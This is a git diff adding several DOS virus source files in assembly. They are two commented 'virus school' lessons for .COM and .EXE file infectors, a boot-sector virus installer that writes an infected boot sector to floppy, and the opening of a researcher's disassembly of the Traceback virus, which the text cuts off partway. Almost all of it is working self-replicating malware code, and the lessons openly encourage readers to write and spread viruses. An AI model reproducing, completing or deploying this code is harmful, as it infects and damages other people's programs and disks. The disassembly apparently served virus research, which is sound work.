Close + + push ax ; . + + xor cx,cx + xor dx,dx + mov ax,4200h ; (CX:DX) + Int 3 ; . + + pop cx ; . + ; DX 0 Fn 42. + mov ah,40h ; DS:DX + Int 3 ; + . + + mov cx,cs:FTime + mov dx,cs:FDate ; + mov ax,5701h ; DTA. + Int 3 + +Close: + pop ds ; DS. + + mov ah,3Eh ; . + Int 3 + + mov ah,4Fh + Int 3 ; Find Next, + jnc FindNext ; + ; . + + +;....... . + +Done: + mov dx,80h + mov ah,1Ah + Int 3 ; DTA. + + + push es + mov ax,offset TransF -100h ; + push ax ; 64 KBytes - + RETF ; TransF. + +;........................................ + ; +Mark db 'Tony' ; . +AllCom db '+' ; + db '*.COM',0 ; +;.......................................; . + +TRansF: + push ds + pop es + + pop ax ; AX. + + mov si,offset EndCode ; + mov di,offset Start ; 100h . + push ds ; + push di ; . + mov cx,0FFF0h -102h -Virlen + rep movsb + + RETF + +;-----------------------------------------------------------------------------; + +EndCode: + Ret ; + +;-----------------------------------------------------------------------------; + +End Start + \ No newline at end of file diff --git a/t/TORM-205.ASM b/t/TORM-205.ASM new file mode 100755 index 0000000..0cd988f --- /dev/null +++ b/t/TORM-205.ASM @@ -0,0 +1,158 @@ +; +; Virus school, lession 1 (c) 1992 Tormentor [Demoralized Youth] +; +; This is the first lession on how to make an own virus. +; Hope you'll learn something of it... +; To be compiled with TASM 3.0 or higher. +; +; This virus is quite dumb and 'noisy' +; It updates the filedate and time, changes DTA before execution causing +; some progs to belive they are executed with parameters... +; But this should only be a 'raw' virus that you can develop. +; Certain program may hang, so i recommend you not to spread to geeks +; since there is MANY better viruses to use for such nice purpose. +; +; If you want to conntact me or other virus-writers call me on my board: +; Swedish Virus Laboratory +46-3191-9393 +; +; Greetings to All virus-writers! +; + + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +dummy_code: db 'M' ; Mark file as infected. + db 3 DUP(90) ; This is to simulate a infected prog. + ; Not included in virus-code. + +Virus_Start: call where_we_are ; Now we call the next bytes, just to + ; know what address virus lies on. +where_we_are: pop si ; Since the virus-code's address will + ; differ from victim to victim. + ; a POP SI after a call will give us the + ; address which equals to 'where_we_are' + ; Very important. + +;----------------------------------------------------------------------- +; Now we have to put back the original 4 bytes in the host program, so +; we can return control to it later: + + add si,_4first_bytes-where_we_are + mov di,100 + cld + movsw + movsw + +;------------------------------------------------------------------------ + +; We have to use SI as a reference since files differ in size thus making +; virus to be located at different addresses. + + sub si,_4first_bytes-Virus_Start+4 + +;------------------------------------------------------------------------ +; Now we just have to find victims, we will look for ALL .COM files in +; the current directory. + + mov ah,4e ; We start to look for a *.COM file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jc no_victim_found ; If no *.COM files was found. + + mov ax,3d02 ; Now we open the file. + mov dx,9e ; The found victims name is at ds:009e + int 21 ; in DTA. + + jc cant_open_file ; If file couldn't be open. + + xchg ax,bx ; Save filehandle in bx +; (we could use MOV BX,AX but we saves one byte by using xchg ) + + mov ah,3f ; Now we read the first 4 bytes + mov cx,4 ; from the victim -> buffer + + mov dx,offset _4first_bytes-Virus_Start + add dx,si + ; We will then overwrite them with + int 21 ; a JMP XXXX to virus-code at end. + + jc read_error + + cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M' + jz sick_or_EXE ; Check if infected OR *.EXE +; Almost all EXE files starts with 'M' and we mark the infected files by +; starting with 'M' which equals to DEC BP +; Now we just have to have one check instead of 2 (infected and *.EXE) + + mov ax,4202 ; Position file-pointer to point at + xor cx,cx ; End-of-File. + xor dx,dx ; Any writing to file will now APPEND it + int 21 ; Returns AX -> at end. + + sub ax,4 ; Just for the JMP structure. + + mov word ptr ds:[_4new_bytes+2],ax + ; Build new JMP XXXX to virus. + ; ( logic: JMP AX ) + + mov ah,40 ; Append file with virus code. + mov cx,offset Virus_Lenght + ; File-size will increase with + mov dx,si ; Virus_Lenght. + int 21 + + jc write_error + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx ; So we can change the first 3 bytes + xor dx,dx ; to JMP to virus. + int 21 + + mov ah,40 ; Write new 3 bytes. + mov cx,4 ; After this, executing the file will + mov dx,offset _4new_bytes-Virus_Start + add dx,si + ; result in virus-code executing before + int 21 ; original code. + ; (And more files will be infected) + + jc write_error + + mov ah,3e ; Close file, now file is infected. + int 21 ; Dos function 3E (close handle) + +Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's + jmp look4victim ; find another victim... + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + + mov ax,100 ; Every thing is put back in memory, + push ax ; lets us RET back to start of program + ret ; and execute the original program. + +notes db ' (c) 1992 Tormentor ,Swedish Virus Laboratory' + db ' / Demoralized Youth / ' + +file_match db '*.COM',0 ; Pattern to search for. + ; Don't forget to end with 0 ! + +_4first_bytes: ret ; Here we save the 4 first org. bytes + db 3 DUP(0) +; We have a ret here since this file isn't a REAL infection. + +_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes + ; so our virus-code will be run first. +Virus_End EQU $ + + end dummy_code diff --git a/t/TORM-358.ASM b/t/TORM-358.ASM new file mode 100755 index 0000000..1040c1f --- /dev/null +++ b/t/TORM-358.ASM @@ -0,0 +1,160 @@ +; +; Virus Lession #2 'How to make a non-resident EXE infector' +; +; (c) 1992 Tormentor // Demoralized Youth +; +; Well, I had not time to comment this code as much as I wanted to, +; but here you are. +; What can be hard to understand is the .EXE header changes, but if +; you look at the description on the header (ex: Norton guide Tech. Ref) +; you'll understand... +; Anyway, feel free to use this example and if you have any questions +; or anything call my board: Swedish Virus Labratory +46-3191-9393 +; +; Greetings to all virus-writers! +; +; /Tormentor +; + + + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +Virus_Start: call where_we_are + +where_we_are: pop si + + sub si,where_we_are-Virus_Start + + mov ax,es + add ax,10 + add ax,cs:[si+Exe_header-Virus_Start+16] + push ax + push cs:[si+Exe_header-Virus_Start+14] + + push ds + push cs + pop ds + + mov ah,1a + mov dx,offset Own_dta-Virus_Start + add dx,si + int 21 + + mov ah,4e ; We start to look for a *.EXE file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jnc cont2 + jmp no_victim_found ; If no *.EXE files was found. + +cont2: mov ax,3d02 + mov dx,Own_dta-Virus_Start+1e + add dx,si + int 21 + + jnc cont1 + jmp cant_open_file + +cont1: xchg ax,bx + + mov ah,3f + mov cx,1c + mov dx,offset Exe_header-Virus_Start + add dx,si + int 21 + + jc read_error + + cmp byte ptr ds:[si+Exe_header-Virus_Start],'M' + jnz no_exe ; !!! Some EXEs starts with ZM !!! + cmp word ptr ds:[si+Exe_header-Virus_Start+12],'DY' + jz infected + + mov ax,4202 ; Go EOF + xor cx,cx + xor dx,dx + int 21 + + push dx + push ax + + mov ah,40 ; Write virus to EOF. + mov cx,Virus_Lenght + mov dx,si + int 21 + + mov ax,4202 ; Get NEW filelenght. + xor cx,cx + xor dx,dx + int 21 + + mov cx,200 + div cx + inc ax + mov word ptr ds:[Exe_header-Virus_Start+2+si],dx + mov word ptr ds:[Exe_header-Virus_Start+4+si],ax + + pop ax + pop dx + + mov cx,10 + div cx + sub ax,word ptr ds:[Exe_header-Virus_Start+8+si] + mov word ptr ds:[Exe_header-Virus_Start+16+si],ax + mov word ptr ds:[Exe_header-Virus_Start+14+si],dx + + mov word ptr ds:[Exe_header-Virus_Start+12+si],'DY' + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx + xor dx,dx + int 21 + + mov ah,40 ; Write header + mov cx,1c + mov dx,offset Exe_header-Virus_Start + add dx,si + int 21 + + jc write_error + +no_exe: +infected: + mov ah,3e + int 21 + +Sick_or_EXE: mov ah,4f + jmp look4victim + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + + pop ds + retf + +file_match db '*.EXE',0 ; Pattern to search for. + ; Don't forget to end with 0 ! + +Exe_header db 16 DUP(0) + dw 0fff0 ; Adjustment just for this COM-file. + db 4 DUP(0) + +notes db '(c) 1992 Tormentor / Demoralized Youth ',0a,0d + db 'Rather first in hell, than second in heaven.' + +Own_Dta db 02bh DUP(0) + +Virus_End EQU $ + + end Virus_Start + \ No newline at end of file diff --git a/t/TORMENT.ASM b/t/TORMENT.ASM new file mode 100755 index 0000000..956c8c2 --- /dev/null +++ b/t/TORMENT.ASM @@ -0,0 +1,543 @@ +code_seg segment + assume cs:code_seg,ds:code_seg + + org 100h + +tormentor proc far + +@disp macro string + mov dx,offset string + mov ah,09h + int 21h +endm + +@exit macro + mov ax,4c00h + int 21h +endm + +@cls macro mode + mov ah,00h + mov al,mode + int 10h +endm + +start: jmp main + +boot_area dw 256 dup (0) +boot_sec dw 512 dup (0) + +message db "Tormentor Strain A",13,10 + db "Written by The High Evolutionary",13,10 + db "Copyright (C) 1991 by The RABID Nat'nl Development Corp." + db 13,10,13,10 + db "Press any key to install onto media in drive A:",13,10 + db "(Or press CTRL-C to abort)$",13,10 + +paused db 13,10,13,10 + db "[Paused] Insert destination disk if desired and press",13,10 + db "any key, otherwise, press any key$",13,10 + +done db "Done!$",13,10 + +r_fail db 13,10,13,10 + db "Failed to READ in boot sector$",13,10 + +w_fail db 13,10,13,10 + db "Failed to WRITE boot sector$",13,10 + +f_infec db 13,10,13,10 + db "SHIT! We failed to write the virus code to the disk!!!$",13,10 + +r_boot db 13,10,13,10 + db "Now READING in the boot sector$",13,10 + +w_boot db 13,10,13,10 + db "Now WRITING the boot sector to track 719$",13,10 + +w_vir db 13,10,13,10 + db "Now WRITING the VIRUS to the boot sector$",13,10 + +succ db 13,10,13,10 + db "Success! We installed Tormentor onto the drive$",13,10 + +memerr db 13,10,13,10 + db "BOMB! We had a memory allocation error. Bailing out...$",13,10 + db 13,10 + +read_shit db 13,10,13,10 + db "Reading in shit via INT 25...$",13,10 + db 13,10 + +intro db "You are in Torment$",13,10 + +bootseg dw ? ; Storage segment address or mem. block + ; containing copy of boot record + +dssave dw ? ; Storage for DS register +;dssave dw seg group ; Storage for DS register + +pspseg dw ? ; PSP segment storage + +;stack segment para stack 'STACK' ; Code Segment +;stack ends + +;_data segment word public 'DATA' ; Data Segment +;_data ends + +;dgroup group data,stack ; Define segment group + +;***************************************************************************** +; Boot record information to infect both floppies and hard-drives +;***************************************************************************** + +bootrecord struc +bootjump db 3 dup (?) ; Initial 3 byte jmp instruction +oemstring db 8 dup (?) ; OEM version and DOS +sectorbytes dw ? ; Bytes per sector +clustersec db ? ; Sectors per cluster +reservedrec dw ? ; Reserved sectors +fatcopies db ? ; number of FAT copies +direntries dw ? ; number of root dir entries +totalsectors dw ? ; Total disk sectors +mediadescrip db ? ; Media Descriptor +fatsectors dw ? ; number of sectors occupied by 1 FAT +tracksectors dw ? ; number of sectors per track +heads dw ? ; number of heads +hiddensectors dw ? ; number of hidden sectors +bootrecord ends + +drive db ? ; Current drive pointer + +memalloc proc near + + push bp ; Save base pointer + push bx ; Save BX + mov bp,sp ; init base pointer + xor al,al ; Zero out AL + mov ah,48h ; Allocate mem. function + int 21h + jnc end_memalloc ; exit if no error + mov word ptr [bp],bx + +end_memalloc: + pop bx ; Restore BX + pop bp ; Restore Base Pointer + ret + +memalloc endp + +main: + +get_default_drive: + mov ah,19h + int 21h + mov byte ptr drive,al ; Move current drive into drive + + +; mov ds,dssave ; Initialise DS +; mov ax,es ; get PSP address +; mov word ptr pspseg,ax ; and save it... + + jmp read_boot + +; mov bx,40h ; Allocate 1024 bytes +; call memalloc ; Allocate BX block of memory +; jnc read_boot +; @disp memerr +; jmp quit + +read_boot: + @disp read_shit + mov ah,08h + int 21h + mov word ptr bootseg,ax + push ax ; Save AX onto the stack + mov al,0 +; mov al,byte ptr drive ; Move current drive into AL + xor ah,ah ; Zero out AH +; pop ds ; Restore Data_seg + pushf ; Save flags + mov dx,0 ; Read in sector 0 + mov cx,1 ; Read in 1 sector + mov bx,offset boot_sec ; Store data at DS:boot_sec + int 25h ; Read in the disk + popf ; clear flags used by flags + @disp done + mov ah,08h + int 21h +; assume ds:code_seg ; Restore DS + +begin: @cls 03 +; mov ah,00 ; Set screen +; mov al,03 ; Set screen for 80x25 color +; int 10h ; Call BIOS + @disp message + + mov ah,08h ; Wait for a keypress + int 21h + mov cx,3 + +read_sector: + @disp r_boot ; Display that we are reading the + ; sector from the disk + push cx ; Counter is pushed onto the stack + mov ax,201h ; Read in 1 sector + mov bx,offset boot_area ; Store it in boot_area + mov cx,1 ; Set counter to 1 + mov dx,0 ; Set for drive 0, head 0 + int 13h ; Call BIOS + pop cx ; Restore counter + jnc good_read ; If there were no errors, then + ; jump to good_read + loop read_sector ; Jump back and try reading the sector + ; again while CX>0 + @disp r_fail + mov ax,4c00h ; Exit + int 21h ; Call DOS + +good_read: + mov cx,3 ; Set counter to 3 + @disp paused ; Display message for pause + mov ah,08h ; Wait for a key + int 21h ; Call DOS + +;***************************************************************************** +; Write good sector to track 719 (Head 1, track 27, sector 9) +;***************************************************************************** + +write_sector: + @disp w_boot ; Display that we are writing the + ; sector to disk + mov ax,301h ; Set for writing the boot sector + mov bx,offset boot_area ; Set buffer to what we read in +; mov bx,offset infected_data + mov cx,2709h ; Set counter to 2709h + mov dx,100h ; Head 1, drive 0 + int 13h ; Call BIOS + pop cx ; Restore the counter + jnc good_write ; If we wrote the sectors allright, + ; then jump to good_write + loop write_sector + @disp w_fail + mov ax,4c00h ; Exit + int 21h ; Call DOS + +good_write: + mov cx,3 ; Copy 3 into CX + @disp w_vir +infect_floppy: + push cx ; Push it onto the stack + mov ax,301h ; Write 1 sector + mov bx,offset infected_data ; Write corrupt boot sector to the + ; drive + mov cx,1 ; Set counter to 1 + mov dx,0 ; Set for drive A: + int 13h ; Call BIOS + jnc good_infection ; If there are no problems, then + ; continue + loop infect_floppy ; Otherwise, try again until CX=0 + @disp f_infec ; If CX=0, then display the message + ; and then exit + mov ax,4c00h ; Exit + int 21h ; Call DOS + +good_infection: + @disp succ + mov ax,4c00h + int 21h + +;***************************************************************************** +; The following is a copy of the infected boot sector to copy to sector 0 +;***************************************************************************** + +infected_data db 0EBh, 34h + nop + dec cx + inc dx + dec bp + and [bx+si],ah + xor bp,word ptr ds:[33h] + add al,[bp+si] + add [bx+si],ax + add dh,[bx+si+0] + rol byte ptr [bp+si],1 ; Rotate + std ; Set direction flag + add al,[bx+si] + or [bx+si],ax + add al,[bx+si] + db 19 dup (0) +; db 'Tormentor Strain A - RABID Nat''nl Development Corp.' + adc al,[bx+si] + add [bx+si],al + add [bx+di],al + add dl,bh + xor ax,ax ; Zero register + mov ds,ax + mov ss,ax + mov bx,7C00h ; Pointer to boot segment + mov sp,bx + push ds +data_14 db 53h + dec word ptr ds:[413h] + int 12h ; Put (memory size)/1K in ax + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax + xchg ax,word ptr ds:[4Eh] + mov word ptr ds:[7DABh],ax + mov ax,128h + xchg ax,word ptr ds:[4Ch] + mov word ptr ds:[7DA9h],ax + mov ax,es + xchg ax,word ptr ds:[66h] + mov word ptr ds:[7DAFh],ax + mov ax,0BBh + xchg ax,word ptr ds:[64h] + mov word ptr ds:[7DADh],ax + xor di,di ; Zero register + mov si,bx + mov cx,100h + cld ; Clear direction + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + sti ; Enable interrupts + push es + mov ax,85h + push ax + retf + push bx + xor dl,dl ; Zero register + call sub_2 ; (00FB) + pop bx + push ds + pop es + mov ah,2 + mov dh,1 + call sub_6 ; (011F) + jc loc_2 ; Jump if carry Set + push cs + pop ds + mov si,offset ds:[0Bh] + mov di,offset ds:[7C0Bh] + mov cx,2Bh + cld ; Clear direction + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_ret_3 ; Jump if zero +loc_2: + pop bx + pop ax + push cs + mov ax,0AFh + push ax + +loc_ret_3: + retf ; Return far +read_error: + push cs + pop ds + mov si,1DBh + call sub_1 ; (00DA) + xor ah,ah ; Zero register + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + xor ax,ax ; Zero register + int 13h ; Disk dl=drive a ah=func 00h + ; reset disk, al=return status + push cs + pop es + mov bx,offset ds:[200h] + mov cx,6 + xor dx,dx ; Zero register + mov ax,201h + int 13h ; Disk dl=drive a ah=func 02h + ; read sectors to memory es:bx + jc read_error ; Jump if carry Set + mov cx,0FF0h + mov ds,cx + jmp dword ptr cs:data_16 + +; +; Insert Tormentor endp here... +; +;tormentor endp + + +; +; SUBROUTINE +; + +sub_1 proc near +loc_5: + mov bx,7 + cld ; Clear direction + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_ret_9 ; Jump if zero + jns loc_6 ; Jump if not sign + xor al,0D7h + or bl,88h +loc_6: + cmp al,20h + jbe loc_7 ; Jump if below or = + mov cx,1 + mov ah,9 ; + int 10h ; Video display ah=functn 09h + ; set char al & attrib bl @curs +loc_7: + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_5 ; (00DA) + +; External Entry into Subroutine + +sub_2: + mov bx,200h + mov cx,2 + mov ah,cl + call sub_5 ; (011D) + mov cx,2709h + xor byte ptr es:[bx],0FDh + jz loc_8 ; Jump if zero + mov cx,4F0Fh +loc_8: + jmp short loc_ret_9 ; (0127) + nop + +; External Entry into Subroutine + +sub_3: + mov ah,2 + mov bx,200h + +; External Entry into Subroutine + +sub_4: + mov cx,1 + +; External Entry into Subroutine + +sub_5: + mov dh,0 + +; External Entry into Subroutine + +sub_6: + mov al,1 + +; External Entry into Subroutine + +sub_7: + pushf ; Push flags + call dword ptr cs:data_15 + +loc_ret_9: + retn +sub_1 endp + + push ax + push bx + push cx + push dx + push es + push ds + push si + push di + pushf ; Push flags + push cs + pop ds + cmp dl,1 + ja loc_11 ; Jump if above + and ax,0FE00h + jz loc_11 ; Jump if zero + xchg al,ch + shl al,1 ; Shift w/zeros fill + add al,dh + mov ah,9 + mul ah ; ax = reg * al + add ax,cx + sub al,6 + cmp ax,6 + ja loc_11 ; Jump if above + push cs + pop es + call sub_3 ; (0115) + jc loc_10 ; Jump if carry Set + mov di,offset data_14 + mov si,offset ds:[243h] + mov cx,0Eh + std ; Set direction flag + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to + ; es:[di] + jz loc_11 ; Jump if zero + sub si,cx + sub di,cx + mov cl,33h ; '3' + rep movsb ; Rep when cx >0 Mov [si] to + ; es:[di] + call sub_2 ; (00FB) + push cx + push bx + call sub_3 ; (0115) + mov ah,3 + xor bx,bx ; Zero register + call sub_4 ; (011A) + pop bx + pop cx + jc loc_10 ; Jump if carry Set + mov dh,1 + mov ah,3 + call sub_6 ; (011F) +loc_10: + xor ax,ax ; Zero register + call sub_7 ; (0121) +loc_11: + mov ah,4 + int 1Ah ; Real time clock ah=func 04h + ; read date cx=year, dx=mon/day + cmp dh,9 + jne not_month ; Jump if not equal + mov si,1B1h + call sub_1 ; (00DA) +not_month: + popf ; Pop flags + pop di + pop si + pop ds + pop es + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:data_15 +data_15 dd 0C602EC59h +data_16 dd 0F000E6F2h + esc 2,ch ; coprocessor escape + and [bp+di-4141h],al + movsb ; Mov [si] to es:[di] + idiv word ptr [bp-85Ch] ; ax,dxrem=dx:ax/data + xchg ax,si + mov si,offset ds:[0B4A5h] + mov ax,0DAA7h + esc 5,[bx+si] ; coprocessor escape + db 'IO SYSMSDOS SYS', 0Dh, 0Ah + db 'Non-system disk or disk error', 0Dh + db 0Ah + add [bx+si],al + push bp +; jmp cont + +; db 'Tormentor Strain A - RABID Nat''nl Development Corp.' + stosb +;cont: stosb ; Store al to es:[di] + +tormentor endp + +quit: mov ax,4c00h + int 21h + + + code_seg ends +end start + + \ No newline at end of file diff --git a/t/TRACEBCK.ASM b/t/TRACEBCK.ASM new file mode 100755 index 0000000..8646129 --- /dev/null +++ b/t/TRACEBCK.ASM @@ -0,0 +1,1303 @@ + page 65,132 + title The 'Traceback' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Traceback' Virus +; Disassembled by Joe Hirst, June 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + + ; The disassembly has been tested by re-assembly using MASM 5.0. + +BOOT SEGMENT AT 0 + + ORG 24H +BW0024 DW ? ; Int 9 offset +BW0026 DW ? ; Int 9 segment + + ORG 70H +BW0070 DW ? ; Int 1CH offset +BW0072 DW ? ; Int 1CH segment + + ORG 80H +BD0080 EQU THIS DWORD +BW0080 DW ? ; Int 20H offset +BW0082 DW ? ; Int 20H segment +BW0084 DW ? ; Int 21H offset +BW0086 DW ? ; Int 21H segment + + ORG 90H +BW0090 DW ? ; Int 24H offset +BW0092 DW ? ; Int 24H segment + + ORG 9CH +BD009C EQU THIS DWORD +BW009C DW ? ; Int 27H offset +BW009E DW ? ; Int 27H segment + + ORG 449H +BB0449 DB ? ; Current VDU mode + +BOOT ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:CODE + +DW0000 DW 02EEBH ; \ Stored start of host program +DB0002 DB 090H ; / +DB0003 DB 0FFH +DB0004 DB 0FBH ; Infection countdown +DD0005 EQU THIS DWORD +DW0005 DW 100H +DW0007 DW 0CBBH +DW0009 DW 4DH +DB000B DB 0, 0 +DB000D DB 0EBH, 2EH, 90H, 0FFH, 0FFH, 6CH, 6CH +DB0014 DB 'o - Copyright S & S E', 29 DUP (0) +CURDIR DB 0, 'PLIC', 60 DUP (0) ; Current directory +DTAFLE DB 3, '????????COM ', 2, 0, 0, 0, 'c:\m ' + DB 1AH, 0, 0AFH, 0AH, 95H, 58H, 0, 0 + DB 'COMMAND.COM', 3 DUP (0) +DTADIR DB 1, '???????????', 10H, 5, 7 DUP (0) + DB 20H, 0E9H, 11H, 0B5H, 12H, 0F6H, 48H, 2, 0 + DB 'CAT-TWO.ARC', 0, 0, 0 +DB00DF DB 0 +SEGREG DW 0AEBH +PTHDSK DB 2 ; Pathname drive +CURDSK DB 2 ; Current disk +ATTR_F DW 0020H ; File attributes +TIME_F DW 22B6H ; File time +DATE_F DW 1174H ; File date +I24_OF DW 04EBH ; Old Int 24H offset +I24_SG DW 0A17H ; Old Int 24H segment +CRTERR DB 0 ; Critical error flag +F_HAND DW 0 ; File handle +F_TIME DW 5951H ; File time +F_DATE DW 0F8BH ; File date +F_ATTR DW 0020H ; File attributes +V_SIGN DB 056H, 047H, 031H ; Virus signature + + ; Entry point + +BP0010: JMP SHORT BP0020 + + DW SIGNAT + +BP0020: CALL BP0640 ; Get relocation constant in SI + CALL BP0600 ; Set Int 24H vector + MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV PTH_OF[SI],SI ; \ Address of pathname + ADD PTH_OF[SI],OFFSET DB0884 ; / + MOV PTH_SG[SI],CS ; Segment of pathname + MOV CURDSK[SI],AL ; Save current disk + CALL BP0510 ; Get installed virus segment + MOV DL,PTHDSK[DI] ; Get pathname drive in installed virus + MOV AX,DS ; Get segment in installed virus + PUSH CS ; \ Set DS to CS + POP DS ; / + JNZ BP0030 ; Branch if not installed + MOV PTH_OF[SI],OFFSET DB0884+100H ; Pathname in installed virus + MOV PTH_SG[SI],AX ; Segment in installed virus + CMP DL,0FFH ; Is there a pathname drive? + JE BP0030 ; Branch if not + MOV AH,0EH ; Select disk function + INT 21H ; DOS service +BP0030: MOV BYTE PTR SWTCHB[SI],80H ; Set on switch eight + MOV F_HAND[SI],0 ; Clear file handle + MOV AH,2AH ; Get date function + INT 21H ; DOS service + CMP CX,07C4H ; Is year 1988? + JGE BP0040 ; Branch if not before + JMP SHORT BP0070 + +PTH_OF DW 0F8CH ; Offset of pathname +PTH_SG DW 0AEBH ; Segment of pathname +ISWTCH DB 0 ; Infected file switch + + ; 1988 or later + +BP0040: JG BP0050 ; Branch if after 1988 + CMP DH,0CH ; Is month December? + JL BP0070 ; Branch if not + CMP DL,5 ; 5th of December? + JL BP0070 ; Branch if before + CMP DL,1CH ; 28th of December? + JL BP0060 ; Branch if before +BP0050: MOV DSPCNT[SI],0FFDCH ; Start display count (60 mins) + MOV BYTE PTR SWTCHB[SI],88H ; Switches four & eight +BP0060: CMP DB0004[SI],0F8H ; Has infection count reached target? + JNB BP0080 ; Branch if not + ASSUME DS:NOTHING +BP0070: MOV CRTERR[SI],0 ; Clear critical error flag + JMP BP0270 + + ; Unreachable code + + ASSUME DS:CODE + CMP DB0004[SI],0F8H ; Has infection count reached target? + JNB BP0080 ; Branch if not + OR BYTE PTR SWTCHB[SI],4 ; Set on switch three + +BP0080: MOV DB00DF[SI],0 ; Set not-first-time switch off + MOV DX,PTH_OF[SI] ; Get pathname offset + MOV DS,PTH_SG[SI] ; Get pathname segment + MOV AX,4300H ; Get attributes function + CALL BP0230 ; Perform a DOS service + JB BP0090 ; Branch if error + ASSUME DS:NOTHING + MOV F_ATTR[SI],CX ; Save file attributes + AND CL,0FEH ; Switch off read-only + MOV AX,4301H ; Set attributes function + CALL BP0230 ; Perform a DOS service + JB BP0090 ; Branch if error + MOV AX,3D02H ; Open handle R/W function + INT 21H ; DOS service + JB BP0090 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + ASSUME DS:CODE + MOV F_HAND[SI],AX ; Save file handle + MOV BX,AX ; Move file handle + MOV AX,5700H ; Get file date and time function + INT 21H ; DOS service + MOV F_TIME[SI],CX ; Save file time + MOV F_DATE[SI],DX ; Save file date + DEC DB0004[SI] ; Decrement infection count + MOV DX,FLENLO[SI] ; Get file length, low word + MOV CX,FLENHI[SI] ; Get file length, high word + ADD DX,OFFSET DB0004 ; \ Add to length + ADC CX,0 ; / + MOV AX,4200H ; Move file pointer (start) function + INT 21H ; DOS service +BP0090: PUSH CS ; \ Set DS to CS + POP DS ; / + TEST BYTE PTR SWTCHB[SI],4 ; Test switch three + JZ BP0100 ; Branch if off + CALL BP0330 ; Write infection count + JMP BP0270 + + ; Change directory to root + +BP0100: XOR DL,DL ; Default drive + MOV AH,47H ; Get current directory function + PUSH SI + ADD SI,46H ; Address directory store + INT 21H ; DOS service + POP SI + CMP CRTERR[SI],0 ; Test critical error flag + JNE BP0110 ; Branch if set + CALL BP0250 ; Make root dir current dir + JNB BP0120 ; Branch if no error +BP0110: JMP BP0070 + + ; Find COM files + +BP0120: MOV DX,SI ; \ Address DTA area + ADD DX,OFFSET DTAFLE ; / + MOV AH,1AH ; Set DTA function + INT 21H ; DOS service + MOV [SI+5],'.*' ; \ + MOV [SI+7],'OC' ; ) '*.COM' + MOV WORD PTR [SI+9],'M' ; / + MOV AH,4EH ; Find first file function + MOV DX,SI ; \ Address file spec + ADD DX,5 ; / +BP0130: MOV CX,0020H ; Attributes - archive + CALL BP0230 ; Perform a DOS service + JB BP0160 ; Move on to EXE files + MOV DX,SI ; \ Address filename in DTA + ADD DX,OFFSET DTAFLE+1EH ; / + MOV ISWTCH[SI],0 ; Set infected file switch off + CALL BP0350 ; Process file + JB BP0150 ; Error or infected file found + CALL BP0330 ; Write infection count +BP0140: JMP BP0260 + +BP0150: CMP CRTERR[SI],0 ; Test critical error flag + JNE BP0140 ; Branch if set + CMP ISWTCH[SI],0 ; Test infected file switch + JNE BP0200 ; Branch if on + MOV AH,4FH ; Find next file function + JMP BP0130 + + ; Find EXE files + +BP0160: MOV [SI+7],'XE' ; \ '*.EXE' + MOV WORD PTR [SI+9],'E' ; / + MOV AH,4EH ; Find first file function + MOV DX,SI ; \ Address file spec + ADD DX,5 ; / +BP0170: MOV CX,0020H ; Attributes - archive + CALL BP0230 ; Perform a DOS service + JB BP0200 ; No more files + MOV DX,SI ; \ Address filename in DTA + ADD DX,OFFSET DTAFLE+1EH ; / + MOV ISWTCH[SI],0 ; Set infected file switch off + CALL BP0350 ; Process file + JB BP0190 ; Error or infected file found + CALL BP0330 ; Write infection count +BP0180: JMP BP0260 + + ASSUME DS:NOTHING +BP0190: CMP CRTERR[SI],0 ; Test critical error flag + JNE BP0180 ; Branch if set + ASSUME DS:CODE + CMP ISWTCH[SI],0 ; Test infected file switch + JNE BP0200 ; Branch if on + MOV AH,4FH ; Find next file function + JMP BP0170 + +BP0200: CALL BP0250 ; Make root dir current dir + MOV DX,SI ; \ Address 2nd DTA + ADD DX,OFFSET DTADIR ; / + MOV AH,1AH ; Set DTA function + INT 21H ; DOS service +BP0210: MOV AH,4FH ; Find next file function + MOV CX,0010H ; Find directories + CMP DB00DF[SI],0 ; First time? + JNE BP0220 ; Branch if not + MOV DB00DF[SI],1 ; Set not-first-time switch + MOV [SI+5],'.*' ; \ '*.*' + MOV WORD PTR [SI+7],'*' ; / + MOV AH,4EH ; Find first file function + MOV DX,SI ; \ Address file spec + ADD DX,5 ; / +BP0220: CALL BP0230 ; Perform a DOS service + JB BP0260 ; No more files + TEST DTADIR[SI+15H],10H ; Is it a directory? + JZ BP0210 ; Branch if not + MOV DX,SI ; \ Address file name in DTA + ADD DX,OFFSET DTADIR+1EH ; / + MOV AH,3BH ; Change current directory function + CALL BP0230 ; Perform a DOS service + JB BP0260 ; Branch if error + JMP BP0120 ; Look for COM files + + ; Perform a DOS service + +BP0230: INT 21H ; DOS service + JB BP0240 ; Branch if error + ASSUME DS:NOTHING + TEST 